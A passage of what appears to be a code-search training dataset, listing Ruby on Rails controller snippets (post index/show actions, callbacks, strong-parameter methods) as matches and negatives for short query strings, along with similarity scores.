"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @post }\n format.xml { render xml: @posts }\n end\n end",
"def index\n #how do i get data here\n @posts = Post.all\n end",
"def index\n page = params[:page]\n per_page = params[:per_page]\n\n posts = Post.order(published_at: :desc).page(page).per(per_page)\n\n # Передаём в заголовке общее количество страниц и записей.\n response.headers['Total-Pages'] = posts.total_pages\n response.headers['Total-Count'] = posts.total_count\n\n render json: posts\n end",
"def get(options = {})\n response= handle_errors { self.class.get('/get', :query => options)}\n if response[\"posts\"][\"post\"].is_a?(Hash)\n Rubycious::Post.new response[\"posts\"][\"post\"]\n elsif response[\"posts\"][\"post\"].is_a?(Array)\n response[\"posts\"][\"post\"].collect{|i| Rubycious::Post.new(i)}\n else\n nil\n end\n end",
"def show\n @feed = Feed.find(params[:id])\n @posts = @feed.posts.order(\"published desc\").paginate(:page => params[:page], :per_page => 20)\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feed }\n end\n end",
"def index\n @posts = Post.all.reverse\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def posts(opts={})\n params = {endpoint: \"/account/id/#{@id}/posts\"}.merge! opts\n request = Api::Request.new params\n posts_data = request.run\n {}.tap do |k,v|\n k[:posts] = posts_data['data']['posts'].map{|post| Post.new post.deep_transform_keys { |key| key.underscore.to_sym }}\n k[:next_page] = posts_data['data']['cursor']\n end\n rescue Errors::ResponseError => error\n case error.response\n when Net::HTTPBadRequest then raise Errors::UnknownUser\n when Net::HTTPNotFound then raise Errors::UnknownUser\n end\n end",
"def index\n posts = Post.all.sort_by(&:created_at).reverse\n render json: posts, status: :ok\n end",
"def index\n @truncate_posts = true\n\n if can? :read_drafts, Post\n @posts = @posts.recent\n else\n @posts = @posts.recently_published\n end\n\n respond_to do |format|\n format.html { @posts = @posts.page(params[:page]).per(10) }\n format.json { }\n end\n end",
"def show\r\n @post = root_post_of(Post.find(params[:id]))\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @post }\r\n end\r\n end",
"def index\n @posts = Post.all\n\n return @posts\n end",
"def index\n @posts = Post.all\n \n end",
"def show\n @post ||= Mist::Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def index\n @posts = Post.all\n end",
"def index\n @posts = Post.all\n end",
"def index\n @posts = Post.all\n end",
"def index\n @posts = Post.all\n end",
"def index\n @posts = Post.all\n end",
"def index\n @posts = Post.all\n end",
"def index\n @posts = Post.all\n end"
] |
[
"0.78489983",
"0.75772315",
"0.75656694",
"0.75558054",
"0.7445508",
"0.7445508",
"0.7445508",
"0.7441924",
"0.7441405",
"0.7409756",
"0.7398838",
"0.7397903",
"0.7392969",
"0.738795",
"0.7345242",
"0.7331166",
"0.73056656",
"0.7279897",
"0.7272122",
"0.726539",
"0.72541493",
"0.7206337",
"0.72051704",
"0.7200831",
"0.7189569",
"0.71740156",
"0.7172572",
"0.7147713",
"0.71298504",
"0.7120844",
"0.71122056",
"0.71105665",
"0.7096565",
"0.70959187",
"0.70921457",
"0.7069927",
"0.70696545",
"0.7060943",
"0.7060809",
"0.70600164",
"0.70524836",
"0.70513487",
"0.7021335",
"0.70063144",
"0.69843316",
"0.69829386",
"0.6957168",
"0.6950498",
"0.69480586",
"0.69457185",
"0.69408536",
"0.6934979",
"0.6934979",
"0.6934979",
"0.6934979",
"0.6934979",
"0.6934979",
"0.6934979",
"0.6934979",
"0.6934979",
"0.6934979",
"0.6934979",
"0.6934979",
"0.6934979",
"0.6934979",
"0.6929688",
"0.69296205",
"0.6913865",
"0.69011027",
"0.69011027",
"0.68968844",
"0.6873756",
"0.6873756",
"0.686979",
"0.6865287",
"0.68575287",
"0.68352455",
"0.6829412",
"0.6824508",
"0.68102807",
"0.6805535",
"0.6801657",
"0.679867",
"0.67942333",
"0.67908794",
"0.6790005",
"0.67895555",
"0.67702043",
"0.67698294",
"0.6762924",
"0.6760773",
"0.67579496",
"0.6750333",
"0.6750333",
"0.6750333",
"0.6750333",
"0.6750333",
"0.6750333",
"0.6750333"
] |
0.75579596
|
3
|
GET /api/posts/1 GET /api/posts/1.json
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show\n @posts = Post.find(params[:id])\n render json: @posts\n end",
"def index\n @api_v1_posts = Api::V1::Post.all\n end",
"def show\n render json: @post, serializer: Api::V1::PostSerializer\n end",
"def index\n\n @posts = Post.all\n\n render json: @posts, status: 200\n end",
"def index\n render json: Post.all.order(id: :desc), each_serializer: V1::Posts::PostSerializer\n end",
"def index\n @posts = Post.all\n render json: @posts\n end",
"def index\n @posts = Post.all\n\n render json: @posts\n end",
"def index\n @posts = Post.all\n\n render json: @posts\n end",
"def index\n @posts = Post.all.order(created_at: :asc)\n json_response(@posts)\n end",
"def show\n @api_v2_post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @api_v2_post }\n end\n end",
"def index\n @posts = Post.all\n render json: @posts\n end",
"def show\n render json: Post.find(params[\"id\"])\n end",
"def show\n @post = Post.find(params[:id])\n\n render json: @post\n end",
"def show\n respond_to do |format|\n format.html\n format.json { render jsonapi: @post }\n end\n end",
"def show\r\n post = Post.find(params[:id])\r\n render json: post\r\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n render json: { posts: Post.all }\n end",
"def show\n \trender json: Post.find(params[:id])\n end",
"def index\n @posts = Post.all\n respond_to do |format|\n format.html #index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n @posts = Post.all\n @posts = paginate(@posts)\n authorize @posts\n\n render json: @posts, each_serializer: Api::V1::PostSerializer, meta: meta_attributes(@posts)\n end",
"def show\n post = Post.find(params[:id])\n render json: post\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json {render json: @posts}\n end\n end",
"def index\n\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @posts }\n end\n end",
"def index\n render json: Post.all\n end",
"def show\n\t \trender json: Post.find(params[:id])\n\t end",
"def index\n @posts = Post.order(\"created_at DESC\").includes(:user)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def show\n @post = Post.where(:id => params[:id]).first\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def index\n @posts = Post.all\n \n render json: @posts\n end",
"def index\n @posts = Mist::Post.recently_published(20, Mist.authorized?(:view_drafts, self))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @posts }\n end\n end",
"def index\n @posts = Post.paginate(:page => params[:page], :per_page => 10).order('id DESC')\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def show\n @user = User.find(params[:user_id])\n @post = @user.posts.find(params[:id])\n\n render json: @post\n end",
"def show\n \n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def show\n @posts = @game.posts.order(created_at: :desc).paginate(page: params[:page], per_page: 5)\n respond_to do |format|\n format.json { render template: 'api/games/game.json' }\n end\n end",
"def show\n render json: @post\n end",
"def show\n render json: @api_post\n end",
"def show\n render json: @api_post\n end",
"def index\n # @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n # format.json { render json: @posts }\n end\n end",
"def show\n render json: @post\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n \n respond_to do |format|\n format.html { render 'application/index' }\n format.json { render :json => { :post => @post.as_json } }\n end\n end",
"def show\n @post = Post.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n format.atom\n end\n end",
"def show\n @post ||= Mist::Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def index\n\t\tgon.posts = Post.all.as_json\n\tend",
"def index\n # TODO: implement listing all posts\n end",
"def index\n render json: { posts: current_user.posts.all.map(&:to_h) }\n end",
"def show\n render :json => @post\n end",
"def index\n #@posts = Post.all\n @posts = Post.paginate( :page => params[:page],\n :per_page => 2\n )\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def show\r\n @post = root_post_of(Post.find(params[:id]))\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @post }\r\n end\r\n end",
"def show\n @user = User.find(params[:id])\n @posts = @user.posts\n\n respond_to do |format|\n format.json { render json: {user: User._build(@user), posts: Post.build_posts(@posts)}, location: root_path }\n end\n end",
"def show \n \n #if @post \n render jsonapi: @post, serializer: Api::V1::PostSerializer\n #else\n # render jsonapi: \"User not found\", status: 404\n #end\n end",
"def posts(opts)\n response = get(\"posts\", opts)\n response\n end",
"def show\n post = Post.find_by(id: params[:id])\n if post \n render json: post\n else\n render json: {errors: 'Not found'}\n end\n end",
"def show\n # when you go to http://localhost:3000/posts/1, rails interprets this\n # as a call to the show action for the resource and passes 1 to the \n # :id paramater. Using this blog app you can do that by clicking the \n # show link for a post on the index page.\n\n @post = Post.find(params[:id])\n # The show action uses Post.find to search for a single record \n # in the database by its id value. After finding the record, Rails \n # displays it by using app/views/posts/show.html.erb\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def index\n @posts = PostService.getAllPosts\n end",
"def index\n\n # We display the posts be cronological inverted order\n if authenticated?\n @posts = Post.order('created_at DESC').page(params[:page])\n else\n @posts = Post.order('created_at DESC').where(:status => :true).page(params[:page])\n end\n \n respond_to do |format|\n format.html { render html: @posts }\n format.json { render json: @posts }\n end\n end",
"def display_posts\n begin\n response = RestClient.get \"#{@@DOMAIN}/api/posts.json?all\", authorization_hash\n\n puts \"Response code: #{response.code}\"\n puts \"Response cookies:\\n #{response.cookies}\\n\\n\"\n puts \"Response headers:\\n #{response.headers}\\n\\n\"\n puts \"Response content:\\n #{response.to_str}\"\n\n js = JSON response.body\n js.each do |item_hash|\n item_hash.each do |k, v|\n puts \"#{k}: #{v}\"\n end\n end\n rescue => e\n puts STDERR, \"Error accessing REST service. Error: #{e}\"\n end\n end",
"def index\n unless can?(:manage, Post)\n @posts = @posts.published\n end\n \n respond_with @posts\n end",
"def show\n @post = PostsService.getPostById(params[:id])\n end",
"def index\n @posts = Post.all\n respond_with(@posts)\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n format.xml { render xml: @posts }\n end\n end",
"def index\n @posts = Post.order(created_at: :desc)\n respond_to do |format|\n format.html { render }\n format.text { render }\n format.xml { render xml: @posts }\n format.json { render json: @posts.to_json }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @post }\n format.xml { render xml: @posts }\n end\n end",
"def index\n respond_with Post.all\n end",
"def index\n @posts = Post.find(:all)\n end",
"def show\n @post = Post.find(params[:id])\n render json: @post, meta: { status: :ok }, meta_key: 'result'\n end",
"def index\n @api_v1_post_votes = PostVote.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @api_v1_post_votes }\n end\n end",
"def index\n\t@posts = list_posts\n end",
"def index\n @posts = Post.all\n # Post.all returns all of the posts currently in the \n # database as an array of Post records that we store \n # in an instance variable called @posts.\n # http://guides.rubyonrails.org/active_record_querying.html\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n # The respond_to block handles both HTML and JSON calls \n # to this action. If you browse to \n # http://localhost:3000/posts.json, you’ll see a JSON \n # containing all of the posts. \n end",
"def show\n @feed = Feed.find(params[:id])\n @posts = @feed.posts.order(\"published desc\").paginate(:page => params[:page], :per_page => 20)\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feed }\n end\n end",
"def index\n @posts = Post.order(\"created_at DESC\").where(:published => true).limit(5)\n @title = \"Home\"\n @description = \"the blog and website of bassist and programmer Johnny Grubb. no baseball information here.\"\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n format.xml\n end\n end",
"def index\n @posts = Post.all.reverse\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n posts = Post.all.sort_by(&:created_at).reverse\n render json: posts, status: :ok\n end",
"def show\n @blogpost = Blogpost.published.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @blogpost }\n end\n end",
"def show\n render json: {\n data: @post\n }\n end",
"def index\n page = params[:page]\n per_page = params[:per_page]\n\n posts = Post.order(published_at: :desc).page(page).per(per_page)\n\n # Передаём в заголовке общее количество страниц и записей.\n response.headers['Total-Pages'] = posts.total_pages\n response.headers['Total-Count'] = posts.total_count\n\n render json: posts\n end",
"def show\n #@post = Post.find(params[:id])\n\n #respond_to do |format|\n # format.html # show.html.erb\n #format.json { render json: @post }\n #end\n end",
"def index\n render json: Blog.all\n end",
"def show\n @api_v1_post_vote = PostVote.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @api_v1_post_vote }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n #format.json { render json: @post }\n format.json do\n render :json => @post.to_json(:only => [:id, :title, :text, :lat, :lng, :created_at, :post_type, :likes], \n :methods => [:image_url, :video_url], \n :include => [:comments])\n end\n end\n end",
"def index\n @posts = Post.all.order_by([:date_published, :desc]).page(params[:page]).per(20)\n #authorize! if cannot? :read, @posts\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n respond_with Post.all\n end",
"def index\n respond_with Post.all\n end",
"def index\n respond_with Post.all\n end"
] |
[
"0.7685318",
"0.75155765",
"0.74404126",
"0.73778766",
"0.7356082",
"0.7335217",
"0.73266953",
"0.73266953",
"0.731053",
"0.73074853",
"0.7291122",
"0.72823393",
"0.72704464",
"0.7255951",
"0.7251608",
"0.7238682",
"0.7238682",
"0.7238682",
"0.72384226",
"0.72211057",
"0.72191864",
"0.72174364",
"0.7213148",
"0.7204968",
"0.71914387",
"0.7165836",
"0.714063",
"0.71347237",
"0.7133209",
"0.7095963",
"0.707915",
"0.70631176",
"0.7049683",
"0.70024",
"0.69748",
"0.6962484",
"0.6961429",
"0.6961429",
"0.69578564",
"0.69570225",
"0.69503874",
"0.69503874",
"0.69503874",
"0.69503874",
"0.69503874",
"0.69503874",
"0.69503874",
"0.69503874",
"0.69503874",
"0.69503874",
"0.69503874",
"0.69503874",
"0.69503874",
"0.69503874",
"0.69346267",
"0.692886",
"0.6910614",
"0.69040215",
"0.68969667",
"0.68969667",
"0.68912625",
"0.68823284",
"0.68760914",
"0.6871709",
"0.6870583",
"0.6866411",
"0.68597966",
"0.68562156",
"0.68534845",
"0.68446344",
"0.6826598",
"0.68246835",
"0.6819146",
"0.68144614",
"0.6798336",
"0.67970973",
"0.676653",
"0.67641634",
"0.6762948",
"0.6759479",
"0.67552674",
"0.67480135",
"0.67450947",
"0.6744033",
"0.67274433",
"0.67130506",
"0.6707613",
"0.6698276",
"0.66958976",
"0.6686595",
"0.667492",
"0.6662478",
"0.6652743",
"0.66469747",
"0.6644746",
"0.6639598",
"0.66184217",
"0.6617884",
"0.6612667",
"0.6612667",
"0.6612667"
] |
0.0
|
-1
|
Use callbacks to share common setup or constraints between actions.
|
def set_post
@post = Post.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def post_params
params.fetch(:post, {})
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
